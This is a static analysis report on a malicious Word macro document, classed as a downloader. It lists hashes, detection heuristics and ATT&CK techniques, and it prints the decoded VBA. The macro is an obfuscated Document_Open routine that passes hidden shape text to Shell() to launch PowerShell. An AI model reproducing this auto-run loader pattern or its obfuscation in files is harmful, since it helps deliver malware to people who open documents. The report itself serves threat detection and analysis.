Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e26af8f632cebd78…

MALICIOUS

Office (OLE)

67.9 KB Created: 2018-11-08 16:04:00 Authoring application: Microsoft Office Word First seen: 2020-06-01
MD5: b3977093c94dbe6a3fabaab90d3b1717 SHA-1: 413568fe1481fb3c2f9a6ba31763a49d7c4466a4 SHA-256: e26af8f632cebd7846b8c98ac6b4dd6b59851bdf21f44c3d7d4ffbdd6fa2c61f
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that executes a Document_Open subroutine. This subroutine uses the Shell() function to invoke a heavily obfuscated PowerShell command. The PowerShell command decodes a Base64 string, decompresses it, and then executes the resulting content, likely to download and run a second-stage payload. The presence of the Shell() call and the obfuscated PowerShell command strongly indicate a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Downloader.00536d-6923151-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6923151-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
       FormatDateTime TvCrw + XrhiTF + jCwBzn + jvQDv / FrLzr + udZbDS / (zslsC + wVwzA + dYIYXf + vkofjk)
    vwOVLnChmBW = Shell("" + lzdUQBwr + VjYrZGH + Shapes(MAcvpuzl + WXCnRQl + 1 + fCaofbj + UMDfqUBw).TextFrame.TextRange.Text + oZQPi + NTvHb, 767051443 - 767051443)
       FormatNumber (lAXHpO + JhfVZJ + dwJbw + NAhKVI / cOJdZq + iwCMpZ * (coXQDk + CbsvjH + lTNlj + zuXCv + Rojvzl + ElMJt))
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1081 bytes
SHA-256: 7ab16c48a41929a6305971c89ff1ceb379e6b6e11150273c2c0d0f3ac2624f34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SnBhWjGjA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   TimeValue ZCLMhS + VzcwZ * (sIuRmF + sXGKPu + dajZC + fAwza)
   Error dDcfNj + awJnt - OotfpY + QzcwGL
   FormatNumber (LLJbsi + nIuCOz + sJuKBO + lFCwE - jLNFI + LlKmW)
   FormatDateTime TvCrw + XrhiTF + jCwBzn + jvQDv / FrLzr + udZbDS / (zslsC + wVwzA + dYIYXf + vkofjk)
vwOVLnChmBW = Shell("" + lzdUQBwr + VjYrZGH + Shapes(MAcvpuzl + WXCnRQl + 1 + fCaofbj + UMDfqUBw).TextFrame.TextRange.Text + oZQPi + NTvHb, 767051443 - 767051443)
   FormatNumber (lAXHpO + JhfVZJ + dwJbw + NAhKVI / cOJdZq + iwCMpZ * (coXQDk + CbsvjH + lTNlj + zuXCv + Rojvzl + ElMJt))
   FormatDateTime jjEGw + iRjlIl + FsRkw + jaGora + dGmqw + lvwDD * (oMAFh + UzZTfn + lWDlc + MjZCXf)
   FormatNumber ZzllLw + FVJRC * rhhmVH + mHPnsf * NQdit + YFrjP
End Sub